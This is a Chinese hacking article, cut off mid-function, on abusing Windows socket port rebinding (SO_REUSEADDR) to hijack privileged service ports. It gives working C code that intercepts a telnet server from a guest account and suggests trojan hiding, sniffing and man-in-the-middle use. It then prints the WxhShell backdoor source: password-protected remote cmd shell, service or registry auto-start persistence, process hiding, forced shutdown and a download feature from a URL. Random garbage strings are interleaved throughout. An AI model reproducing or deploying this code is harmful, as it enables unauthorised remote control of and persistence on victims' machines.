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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #;99vwc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XR]bd g]j&F65D saddr.sin_family = AF_INET; bB0/FiY7o gjsks(x saddr.sin_addr.s_addr = htonl(INADDR_ANY); xjBY6Ylz a6zWg7 PN bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5~pxu %KF I~Qk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !{,2uQXe Qz=e'H 这意味着什么?意味着可以进行如下的攻击: 'WHI.*= H6Zo|n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )z&C&Gqz
m>Z3p7!N} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LawE3CD PP!/WX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2iKteJ@h) DN%JT[7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 l`#rhuy` \DlMOG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4-HBXG9#/ aAP86MHO 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
cY+fZ= 7*K2zu3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (mbm',%- ( gc I<bY #include ^d#
AU7V| #include 'h;qI& #include g?iZ RM #include <iH DWORD WINAPI ClientThread(LPVOID lpParam); oNYFbZw int main() f/z]kfgw { E3{kH
7_'\ WORD wVersionRequested; F <iV;+ DWORD ret; H`k
YDp WSADATA wsaData; \PZ;y=]p} BOOL val; 7Ou]!AOhG SOCKADDR_IN saddr; p< pGqW SOCKADDR_IN scaddr; Y_C6*T% int err; GB Vqc!d SOCKET s; "PS ) "t SOCKET sc; >`[+24e int caddsize; *Cp:<Mnd HANDLE mt; B^]Gv7- DWORD tid; FQ0 ;%Z wVersionRequested = MAKEWORD( 2, 2 ); L)<~0GcP err = WSAStartup( wVersionRequested, &wsaData ); @+
T33X)h% if ( err != 0 ) { Ll%}nti printf("error!WSAStartup failed!\n"); eC<?g return -1; +2p}KpOsL } vV=rBO0a? saddr.sin_family = AF_INET; (i\{hq/ dEI!r1~n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,y-!h@( f`rI]v|@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *q\>DE=7 saddr.sin_port = htons(23); zFDtC-GF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fGA#0/_` { !M)] 1Y printf("error!socket failed!\n"); .=yv m return -1; ~$//4kES } ttB>PTg# val = TRUE; ]
X)~D!mA //SO_REUSEADDR选项就是可以实现端口重绑定的 \QG2V$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wi%ls8F { 2dB]Lw@s printf("error!setsockopt failed!\n"); PQ;9iv return -1; M+j*5wNy } Nw"?~"bo //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >T:0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p)z#%BY56 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u(hJyo} Y]`o-dV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I#]pk! { Q.3:"dT ret=GetLastError(); {61Y; printf("error!bind failed!\n"); j0Cj&x%qF} return -1; 3 _!MVT } WCk. K listen(s,2); \"L0d1DK) while(1) %2B1E( r%M { 1*6xFn caddsize = sizeof(scaddr); `}L{gssv //接受连接请求 W4P+?c>'2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DvLwX1(l if(sc!=INVALID_SOCKET) 1U^KN~! { XWNo)#_3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FJKlqM5] if(mt==NULL) 35x]' { D6fd(=t1Z printf("Thread Creat Failed!\n"); p&4n"hC break; 0%q H=do6 } y!rJ}e } vl+bc[ i~ CloseHandle(mt); "(dI/} } jY=M{?h'' closesocket(s); %BT]h3dcSS WSACleanup(); je 3Qq1 return 0; g>gf-2%Uo } E'6/@xM DWORD WINAPI ClientThread(LPVOID lpParam) s%>8y\MaK { lOe|]pQ., SOCKET ss = (SOCKET)lpParam; =FiO{Aw`N SOCKET sc; B[#n,ay unsigned char buf[4096]; oQ*LP{M SOCKADDR_IN saddr; )iK:BL*Nw long num; Y%|dM/a` DWORD val; 5j0 Ib>\ DWORD ret; 0V^I.S/q //如果是隐藏端口应用的话,可以在此处加一些判断 } *C //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 iE_[]Vgc saddr.sin_family = AF_INET; SkCux saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k\dPF@~Hvl saddr.sin_port = htons(23); OA} r*Wz if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y7rT[f/J { (plT/0=^t printf("error!socket failed!\n"); cnw+^8 return -1; FgrVXb_q } ro3%VA=V val = 100; ?2\oi*$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tow! 5VAM { @0NWc
c+ ret = GetLastError(); dD~H ft return -1;
ylS6D } esQ`6i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Aho*E9VW { ;4GGXT++L ret = GetLastError(); dxH\H?NO return -1; ^K_FGE0ec } qK2jJ3)> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) utl-#Wwt/ { ,S<) ) printf("error!socket connect failed!\n"); PX2b(fR8_O closesocket(sc); HD2C^V2@M closesocket(ss); ]sE)-8 return -1; j(K)CHH } .jC5 y& while(1) ("}C& 6)cB { g>w {{G //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UugR //如果是嗅探内容的话,可以再此处进行内容分析和记录 iVf7;M8O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R?/xH=u> num = recv(ss,buf,4096,0); 1CSGG'J]E if(num>0) fR+{gazk
n send(sc,buf,num,0); B4* y-Q.* else if(num==0) =n_z `I break; 3^-R_ num = recv(sc,buf,4096,0); a^E>LJL if(num>0) KsK]y,^Z send(ss,buf,num,0); KK4e'[Wf else if(num==0) @'GPZpbvZ break; ~ qaT
jSP } v6[VdWOx5 closesocket(ss); 1LhZmv closesocket(sc); 5JK'2J& return 0 ; gyV`]uqG } 8faT@J'e; zxD=q5in J7%rPJ ========================================================== i gjn9p&_ _*8 6 下边附上一个代码,,WXhSHELL }$qrNbLJ MLM/!N 7 ========================================================== }LQV2 hKTG !b4AeiL>w #include "stdafx.h" 7(
Z9\ 0R`>F"> #include <stdio.h> "UhE'\() #include <string.h> ,F`1VpTd8 #include <windows.h> m_Z(osoE#W #include <winsock2.h> rz-61A) _ #include <winsvc.h> wgolgof #include <urlmon.h> Q=vo5)t .f. tPm #pragma comment (lib, "Ws2_32.lib") a}|<*!4zUQ #pragma comment (lib, "urlmon.lib") /-m) *n#
=3D #define MAX_USER 100 // 最大客户端连接数 "lC>_A
#define BUF_SOCK 200 // sock buffer -%P}LaC< #define KEY_BUFF 255 // 输入 buffer J kAd3ls ^`aw5 +S #define REBOOT 0 // 重启 ?p 4iXHE #define SHUTDOWN 1 // 关机 BhbfPQ !wfUD2K1 #define DEF_PORT 5000 // 监听端口 +~of# i O? f&u #define REG_LEN 16 // 注册表键长度 #902x*Z'c" #define SVC_LEN 80 // NT服务名长度 ,L~aa?Nb- 3XQe? 2:< // 从dll定义API ahCwA} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YRf$?xa typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3PL0bejaT7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +j+
v(- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O'#;Ge/, *icaKy3 // wxhshell配置信息 ~&F|g2: struct WSCFG { #2:?N8vz* int ws_port; // 监听端口 ,)J>8eV char ws_passstr[REG_LEN]; // 口令 w2/3[VZ}l int ws_autoins; // 安装标记, 1=yes 0=no O0`ofFN char ws_regname[REG_LEN]; // 注册表键名 YDYNAOThnb char ws_svcname[REG_LEN]; // 服务名 .V0fbHYTJ char ws_svcdisp[SVC_LEN]; // 服务显示名 'NfsAE char ws_svcdesc[SVC_LEN]; // 服务描述信息 GE=S.P; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \T<F#a int ws_downexe; // 下载执行标记, 1=yes 0=no 'Z9UqEGV char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $^czqA-& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J.U%W}Hx pr4y*!|Y$ }; AGS(ud{ BI*0JKQu // default Wxhshell configuration T\6,@7 struct WSCFG wscfg={DEF_PORT, 1uG)U)y/Q "xuhuanlingzhe", -O=xgvh" 1, SK@ p0: "Wxhshell", 8'TIDu "Wxhshell", H]wP\m) "WxhShell Service", p W5D!z "Wrsky Windows CmdShell Service", A:z "Please Input Your Password: ", L2}<2 1, N`fFYO " http://www.wrsky.com/wxhshell.exe", =ONM#DxH "Wxhshell.exe" c>3? T^= }; *kTp(*K/7` ]>k8v6*= // 消息定义模块 q{b-2k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V\r{6-%XiW char *msg_ws_prompt="\n\r? for help\n\r#>"; `Je1$)% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; S<'_{u z char *msg_ws_ext="\n\rExit."; OQ 4h8, char *msg_ws_end="\n\rQuit."; <6,,:=# char *msg_ws_boot="\n\rReboot..."; Pw7uxN` char *msg_ws_poff="\n\rShutdown..."; gE=9K @ char *msg_ws_down="\n\rSave to "; /Lm~GmPt |#yT]0L%pA char *msg_ws_err="\n\rErr!"; \b!E"I_^ char *msg_ws_ok="\n\rOK!"; 83'+q((< ?YV#
K char ExeFile[MAX_PATH]; B<qsa QG int nUser = 0; .;ofRx< HANDLE handles[MAX_USER]; hDZyFRg int OsIsNt; L,nb< d&Nji%Ej SERVICE_STATUS serviceStatus; YN<vOv SERVICE_STATUS_HANDLE hServiceStatusHandle; 59W~bWHCP 41+WIa
L // 函数声明 ~ QohP`_ int Install(void); h# Z,ud_ int Uninstall(void); AcXVfk z int DownloadFile(char *sURL, SOCKET wsh); ONy\/lu| int Boot(int flag); "_dg$j`Y&& void HideProc(void); Ij =NcP int GetOsVer(void); Hy,""Py int Wxhshell(SOCKET wsl); GXQ%lQ void TalkWithClient(void *cs); z#P`m,~t0 int CmdShell(SOCKET sock); ,RY;dX-# int StartFromService(void); :i0;jWcb int StartWxhshell(LPSTR lpCmdLine); soQ[Zg4} zks7wt]A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d8+@K&z| VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5jwv! L<n S&XlMu // 数据结构和表定义 oz,.gP% SERVICE_TABLE_ENTRY DispatchTable[] = :&'jh/vRN { 3T,[ {wscfg.ws_svcname, NTServiceMain}, -KfK~P3PF {NULL, NULL} mv~?1aIKD }; w{2CV\^>5 33D2^Sf6" // 自我安装 $0un`&W int Install(void) TBOg.y] { $M!iQ"bb char svExeFile[MAX_PATH]; -OU{99$aS HKEY key; t6mv strcpy(svExeFile,ExeFile); .QZjJ9pvK Meep // 如果是win9x系统,修改注册表设为自启动 j%w^8}U>G if(!OsIsNt) { +/RR!vG, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4pQf*l8e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JR15y3F RegCloseKey(key); La'6k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~I;x_0iY4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C#yRop_d]o RegCloseKey(key); <Z.{q Zd return 0; Aaq%'07ihW } 1jop;{,^ } n^hkH1vY } $cJ fdE else { G7v<Q,s _Y]Oloo(' // 如果是NT以上系统,安装为系统服务
zp}pS2DU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _xm<zy{`S if (schSCManager!=0) \#VWZ\M8a { |%ZJN{!R SC_HANDLE schService = CreateService 6_u!{ ( Y~{<Hs schSCManager, 0!ZaR6 wscfg.ws_svcname, 3BD&;.<r wscfg.ws_svcdisp, "a~r'+'< SERVICE_ALL_ACCESS, P!IA;i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '\op$t/ SERVICE_AUTO_START, ")vtS}Ekt SERVICE_ERROR_NORMAL, D&uaA-;s svExeFile, RN[x\" , NULL, 32SkxcfrCK NULL, z\ONwMl NULL, hE`d@ NULL, 'Rsr*gX# NULL rCczQ71W ); \mJR^t if (schService!=0) eZ[Qhrc { Db*b"/] CloseServiceHandle(schService); l1]{r2g CloseServiceHandle(schSCManager); wEX<[#a- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % 33O)<? strcat(svExeFile,wscfg.ws_svcname); H'/V<% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z;?jKE p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k\T]*A RegCloseKey(key); ocK4Nxs return 0; F*Hovxez } ^lZ7% 6 } /.!&d^ CloseServiceHandle(schSCManager); |;)_-=L0P } X o9vE3 } (2L,m
=A'JIssk return 1; j#P4& } .|07IH/Di{ XP}5i!}}7= // 自我卸载 Vn{;8hZ:a int Uninstall(void) {fl[BX]kZ { V(0Y HKEY key; |IzL4>m:; Ax~
i` if(!OsIsNt) { Et-|[ eL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R[v<mo[s RegDeleteValue(key,wscfg.ws_regname); o~9*J)X5i RegCloseKey(key); Je9Z:s[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !.O[@A\.- RegDeleteValue(key,wscfg.ws_regname); iiJT%Zq`# RegCloseKey(key); <zvtQ^{] return 0; iWr
#H } t5K#nRd Z: } 2h*aWBLk } #<m2Xo?d] else { md18q:AG) ~~k0&mK|Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g +gcH if (schSCManager!=0) :PY8)39@K { Y`-q[F?\y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uBg#zx if (schService!=0) h]z 8.k2n { tq'hiS(b if(DeleteService(schService)!=0) { UCj+V@{ CloseServiceHandle(schService); _1$ Y\Y CloseServiceHandle(schSCManager); 4,X CbcC return 0; }.9a!/@Aj } G^K;+& T CloseServiceHandle(schService); P2s\f;Dwr } 0~WXA=XG CloseServiceHandle(schSCManager); `<<9A\Y-f } BU>R<A5h } Lp|n)29+du hDUU_.q)D return 1; #X$s5H } Zj ^e8u=T k6z]"[yu // 从指定url下载文件 B]gyj int DownloadFile(char *sURL, SOCKET wsh) 9X33{ { 0Db=/sJ> HRESULT hr; =c&.I}^1L char seps[]= "/"; 7!Im|7Ty char *token; *tR'K#:&g! char *file; OR+py.vK char myURL[MAX_PATH]; C; U4`0=8 char myFILE[MAX_PATH]; 0/7.RpX,. bi@'m?XwJ strcpy(myURL,sURL); &P35\q token=strtok(myURL,seps); ;tA$
x!5] while(token!=NULL) !a!4^zqp { TEj"G7]1$A file=token; v6L]3O1 token=strtok(NULL,seps); zO$r } pg_H' 0R H)dZ0n4T GetCurrentDirectory(MAX_PATH,myFILE); <KCyXU* strcat(myFILE, "\\"); x6Gl|e[jv strcat(myFILE, file); toOdL0hCe send(wsh,myFILE,strlen(myFILE),0); 4:b'VHW. send(wsh,"...",3,0); ^x^(Rk}| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4,Uqcw?!F' if(hr==S_OK) <~_XT>`y return 0; 4N7|LxNNl_ else @"^7ASd% return 1; OmfHrlA '`W6U]7> } ZIh)D[n % hH> % // 系统电源模块 @g" vuaG} int Boot(int flag) Pl`Nniy { Y!Io @{f HANDLE hToken; I};*O6D` TOKEN_PRIVILEGES tkp; ,zK E$ ~>~qA0m"m if(OsIsNt) { Q+QD, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^/x\HGrw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R)isWw4 tkp.PrivilegeCount = 1; pNmWBp|ER tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A
McZm0c` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BD^1V(
I/ if(flag==REBOOT) { }*qj,8-9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `(I$_RSE") return 0; ~0?B } HGd.meQ else { ! gfd!R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vr2PCG[~ return 0; t&EY$'c } "{t]~urLd } SQx&4R. else { H?xYS|
n if(flag==REBOOT) { AR$SQ_4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m_`%#$s} return 0; CHD.b%_| } g+<[1;[- else { Xw7'I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /Bh*MH return 0; n%4/@M } @_#\qGY } x)eoz2E1 8gt&*;'}*D return 1; ``6- } VRD^> Gi 6f
?,v5 // win9x进程隐藏模块 %NC/zqPH~ void HideProc(void) 8VO];+N { 'V&Uh]> y=EVpd HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <c!gg7@pm if ( hKernel != NULL ) ;ny 9q { d2-oy5cEB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #Q*V9kvU/H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b`^Q ':^A FreeLibrary(hKernel); ,wBfGpVb } ZrZDyXL 4i^WE;|s return; j:/Z_v' } D>HbJCG4^ o;
U!{G(X // 获取操作系统版本 X;l/D},. int GetOsVer(void) s;*
UP { X ,^([$ OSVERSIONINFO winfo; _nxH;Za winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |5X[/Q*K`W GetVersionEx(&winfo); |\G^:V[. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ftl?x'P% return 1; d%-/U!z? else -)}Z
$;1a return 0; $gD8[NAIx= } /S1/ ZI c:>&YGmhu // 客户端句柄模块 h,]VWG int Wxhshell(SOCKET wsl) 2l^_OrE! { #d-zH:uq SOCKET wsh; _*Z3,*~"X struct sockaddr_in client; 5r~jo7 DWORD myID; P R3Arfle }f?[m&< while(nUser<MAX_USER) 1
ptyiy { >][D" int nSize=sizeof(client); b:p0@ |y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B%MdJD> if(wsh==INVALID_SOCKET) return 1; Ef28 2.b,8wT/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3,6f}:CG if(handles[nUser]==0) yGAFQ|+ closesocket(wsh); ?6`B;_m else *vuI'EbM nUser++; <p*k-mfr } F@f4-NR> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /w(g:e ThI}~$Y return 0; 09jE7g @X} } n-l_PhPQ` 6uFw+Ya#
// 关闭 socket ,1N|lyV void CloseIt(SOCKET wsh) c$7~EP { 4YikC closesocket(wsh); x;z=[eE nUser--; Q[rZ1z ExitThread(0); 9*ZlNZ
} Bps%>P~. :;]9,n // 客户端请求句柄 /r"<:+ void TalkWithClient(void *cs) z06,$OYz { 5}ftiy[Yc o9"?z SOCKET wsh=(SOCKET)cs; rpm \!O char pwd[SVC_LEN]; p8%qU>~+4 char cmd[KEY_BUFF]; xwof[BnEZ char chr[1]; n>j2$m1[ int i,j; j7kX"nz C:5-h(# while (nUser < MAX_USER) { ,mp<<%{u |zpy!X 3 if(wscfg.ws_passstr) { b2UDP W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `7:uc@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8$\j| mN //ZeroMemory(pwd,KEY_BUFF); 4i)5=H i=0; -GPJ,S V> while(i<SVC_LEN) { >aO.a[AM bAZoi0LR
// 设置超时 #[{{&sN fd_set FdRead; 0HoHu*+FX struct timeval TimeOut; cE
'LE1DK FD_ZERO(&FdRead); T3{~f FD_SET(wsh,&FdRead); w>^(w<~Y TimeOut.tv_sec=8; 018SFle TimeOut.tv_usec=0; $e7%>*?m int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K_)~&Cu*' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j}ob7O&U'w /x ?@Mn> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {f#QZS!E pwd =chr[0]; *O~y6|U? if(chr[0]==0xd || chr[0]==0xa) { jL\j$'KC pwd=0; rC^5Z break; :C} I6v= } Nt@|l7Xl* i++; ,Zn6T"[$ } @c]KHWI ]|CcQ1#|H // 如果是非法用户,关闭 socket M=liG+d if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {wz)^A
sy } e+lun
- A
r]*?:4y[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]{6/6jl send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eavn.I8J M=Ze)X\E*' while(1) { ):G%o spfW)v/T! ZeroMemory(cmd,KEY_BUFF); ,yltt+e .8|wc // 自动支持客户端 telnet标准 }g/u.@E j=0; j J{F0o while(j<KEY_BUFF) { RBrb7D{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E,6|-V;? cmd[j]=chr[0]; F}u'A,Hc if(chr[0]==0xa || chr[0]==0xd) { 'z"vk cmd[j]=0; toPbFU' break; B8Fb$ } ?4R%z([X7 j++; 7(+4^ } 9?,i+\)qK@ F9j@KC(yg // 下载文件 v@%4i~N if(strstr(cmd,"http://")) { IQO|)53) send(wsh,msg_ws_down,strlen(msg_ws_down),0); %JE>Z] if(DownloadFile(cmd,wsh)) .b]sQ' send(wsh,msg_ws_err,strlen(msg_ws_err),0); gvR]"h else VEh9N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vd lss| } %cSx`^`6j else { * |,N/e e|{R2z"^ switch(cmd[0]) { 'd$RNqe h_(M#gG // 帮助 53:~a case '?': { L6_%SGY_iE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wvq4 P break; Jo\MDyb] } &NBH'Rt // 安装 Qa_V case 'i': { 33DP?nI} if(Install()) %N-aLw\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); x\G% else )9`HO?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cK1^jH<| break; ]Kq<U%x$ } J1}\H$*X // 卸载 o`c+eMwr( case 'r': { *eoH"UFYQ# if(Uninstall()) T$lV+[7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<~Wp$\i7> else kaCN^yQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (O+d6oT=Z2 break; |s!
_;6 } id:,\iJ // 显示 wxhshell 所在路径 ^nPy(Q0 case 'p': { <u\Hy0g char svExeFile[MAX_PATH]; u&Ic strcpy(svExeFile,"\n\r"); ;F258/J strcat(svExeFile,ExeFile); C<J*C0vQO send(wsh,svExeFile,strlen(svExeFile),0); k";dK*hD, break; 7_ix&oVI } q?7''xk7 // 重启 g,\kLTg case 'b': { i) e6U(H send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )<V!lsUx'- if(Boot(REBOOT)) }3: mn send(wsh,msg_ws_err,strlen(msg_ws_err),0); nKGQU,C else { [`GSc6j closesocket(wsh); 90}vFoy ExitThread(0); uNn1qV }
Hy3J2p9. break; ~JT2el2W7p } GPHb- // 关机 E'\gd7t ; case 'd': { g*b`o87PI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); # QwX|x{ if(Boot(SHUTDOWN)) R7Qj<, send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dh`&B else { /}@F
q closesocket(wsh); t/t6o& ExitThread(0); }SWfP5D@ } 01@WU1IN break; q+9^rQ } Mrk3r/
8w // 获取shell AHs%?5YTY; case 's': { bji#ID2]% CmdShell(wsh); *N$XQ{o closesocket(wsh); $EY[CA
E ExitThread(0); lknj/i5L break; ]@9W19=P!P } 6kp)'wz` // 退出 R7rM$|n=o case 'x': { RCTqV.L send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PFpFqJ)Cs" CloseIt(wsh); kKF=%J?X break; 75H!i$(*+ } R^`}DlHX // 离开 fwt+$`n case 'q': { Ru`afjc send(wsh,msg_ws_end,strlen(msg_ws_end),0); {Yxvb** closesocket(wsh); (QIU 3EN WSACleanup(); ~Zsj@d exit(1); ?M4ig_ break; hub]M } 6?}|@y^fb } s@~3L } Ijiw`\; 5(#z)T // 提示信息 fV4eGIR& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0(c,J$I]Z! } /
P@P1l|I } _K?v^oM# M#2<|VUW, return; 4?@5JpC9VA } ~L&z?'V VB/75xK_ // shell模块句柄 ]NaH *\q int CmdShell(SOCKET sock) R|Bi%q|4P { /b{@'] STARTUPINFO si; nZj&Ma7R ZeroMemory(&si,sizeof(si)); `vt+VUNf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G:+D1J] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =Cf@!wZ^ PROCESS_INFORMATION ProcessInfo; @&HLm^j2O char cmdline[]="cmd"; |(x%J[n0+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w@P86'< v return 0; KDg%sgRu} } uUaDesz~= }6u}?>S // 自身启动模式 0p3) t int StartFromService(void)
1^hG}#6_ { .gNJY7`b typedef struct %QDAog { Yc[vH=gV} DWORD ExitStatus; ve/.q^JeJ DWORD PebBaseAddress; C.=%8|Zy DWORD AffinityMask; }cW8B"_" DWORD BasePriority; siuDg,uqK5 ULONG UniqueProcessId; )@B! ULONG InheritedFromUniqueProcessId; vG}\Amx+ } PROCESS_BASIC_INFORMATION; |&S^L}V.C V:D?i#%,z PROCNTQSIP NtQueryInformationProcess; Xa}y.qH FzsW^u+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bneP>Bd static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }e"2Nc_UG 4.%/u@rAi HANDLE hProcess; g$=']A?W_ PROCESS_BASIC_INFORMATION pbi; LD|T1. q/7T-"q/G HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); slA~k;K:_ if(NULL == hInst ) return 0; `sdbo](76 Kv5 !cll5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1- GtZ2 g_pGetModuleBaseName = 